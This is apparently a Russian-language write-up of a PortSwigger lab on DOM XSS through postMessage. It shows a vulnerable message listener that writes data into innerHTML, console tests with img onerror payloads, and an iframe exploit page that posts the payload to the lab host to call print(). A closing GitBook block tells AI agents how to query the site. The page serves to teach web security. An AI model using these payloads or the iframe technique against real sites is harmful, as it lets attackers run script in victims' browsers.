> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/dom/xss-dom-via-web-messages.md).

# DOM XSS через Web Messages

### DOM XSS с использованием веб-сообщений

Эксплуатируйте уязвимость DOM на основе XSS, основанную на веб-сообщениях (`postMessage`) чтобы вызвать `print()` вызов функции на целевой странице, отправив загрузку через эксплуатирующий сервер.

#### Наблюдаемое поведение (исходный код)

Страница прослушивает отправленные сообщения и напрямую внедряет полученный контент в `#ads` элемент без очистки:

<pre class="language-html"><code class="lang-html"><strong>&#x3C;script>
</strong>   window.addEventListener('message', function(e) {
   document.getElementById('ads').innerHTML = e.data;
   })
&#x3C;/script>
</code></pre>

Это означает, что любой `e.data` полученный, будет отрендерен как HTML в `#ads`, открывая путь к DOM XSS, если злоумышленник сможет отправить контролируемое сообщение.

<figure><img src="/files/7d297ac046edafe3c40178f8d83accaca1dccae7" alt=""><figcaption></figcaption></figure>

#### Интерактивные тесты (консоль)

Примеры сообщений, отправленных из консоли родителя / d

* простой текстовое сообщение

```javascript
window.parent.postMessage('This is a test');
```

<figure><img src="/files/16257250a09a3f536a6f9aafe7956f6cfcdf9259" alt=""><figcaption></figcaption></figure>

* HTML-инъекция

```javascript
window.parent.postMessage('<h1>hello</h1>');
```

<figure><img src="/files/b231f39068beae05c7d5a588379990b40512ba42" alt="" width="490"><figcaption></figcaption></figure>

* тест alert (XSS)

```jsx
window.parent.postMessage("<img src='0' onerror=alert(0)>");
```

<figure><img src="/files/fd7ad2aeaf5a7460292f16f5434ace19d0b16640" alt=""><figcaption></figcaption></figure>

* вызвать `print()` (линза лаборатории)

```javascript
window.parent.postMessage("<img src='0' onerror=print()>");
```

<figure><img src="/files/272c11d59fc70862ff89893b149958e84deb37ce" alt=""><figcaption></figcaption></figure>

#### Эксплойт через iframe на сервере эксплойта

Пример HTML, размещённого на вашем сервере, который загружает целевую страницу в iframe, а затем отправляет полезную нагрузку при загрузке iframe:

```mathml
<iframe
  width="600"
  height="600"
  src="https://0a2300d804f6c0f7810084f10093007d.web-security-academy.net/"
  onload="this.contentWindow.postMessage('This is a test', '*');">
</iframe>
```

<figure><img src="/files/66d1ce2919cd9bbccc5de2b8f5284f98155f0c48" alt=""><figcaption></figcaption></figure>

Чтобы вызвать `print()` на целевой странице, отправьте полезную нагрузку, содержащую `img` элемент с помощью `onerror=print()`:

```html
<iframe
  width="600"
  height="600"
  src="https://0a2300d804f6c0f7810084f10093007d.web-security-academy.net/"
  onload="this.contentWindow.postMessage('<img src=0 onerror=print()>', '*');">
</iframe>
```

<figure><img src="/files/6bcaf337e45b17a30608805dd4cf1f3e362226e9" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/dom/xss-dom-via-web-messages.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
